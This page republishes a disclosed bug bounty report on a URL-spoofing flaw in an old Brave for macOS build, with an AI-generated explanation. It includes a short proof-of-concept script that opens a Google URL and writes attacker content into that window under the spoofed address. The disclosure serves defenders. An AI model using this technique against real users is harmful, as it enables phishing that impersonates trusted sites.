Skip to content
XSS Disclosed report Intermediate

URL spoofing in Brave for macOS

A page could open a new window to a Google URL and then write its own content into that window, so the address bar kept showing the Google address while the attacker's content was displayed. An attacker could then run script in that window under the spoofed address.

metnew Follow

Originally disclosed on HackerOne

  • Triaged in 26 hours
  • Fixed in 2 months
  • Paid in 2 months
  • Disclosed after 3 months

Summary:

URL spoofing vulnerability.

Repro

<script>
    window.onclick = function () {
        x = window.open('https://www.google.com/csi');
        setTimeout(function () {
            x.document.write(`I am not a www.google.com;<button onclick="alert('I can run JS on this page!')">click me</button>`)
        }, 100);
    }
</script>

URL in address bar is https://www.google.com/csi, but actually that's about:blank page. Attacker could inject arbitrary content and execute javascript on this page. Additionally, during alert(), address bar continue displaying www.google.com

Products affected:

Brave 0.22.810 V8 6.7.288.43 rev 8f30eeb Muon 7.0.6 OS Release 17.6.0 Update Channel Release OS Architecture x64 OS Platform macOS Node.js 7.9.0 Brave Sync v1.4.2 libchromiumcontent 67.0.3396.71 OS: macOS 10.13.5 17F77 x86_64

Impact

Typical URL spoofing vulnerability impact. Could be explained, if required.

The original report as published on HackerOne, by metnew. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the browser did not reset the displayed address when a script wrote content into a newly opened window, so the address bar kept the original URL.

Impact

An attacker could display arbitrary content and run script in a window that appears to be a trusted site, which could be used for phishing or other deception.

What the attacker needed

Victim visits attacker page; victim clicks on the page

How it was found

  1. A page sets a click handler that opens a new window pointing at a Google URL.
  2. After a short delay, the script writes its own HTML into the new window.
  3. The new window shows the attacker's content while the address bar still shows the Google URL.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A browser's address bar is meant to tell you which site you are on. Here, a page could open a new window that looked like it was on google.com, but the content inside was written by the attacker. That means a user could be tricked into trusting a page that is not really Google.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by metnew

View all

25 more disclosed reports, best first.

More from Brave Software

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.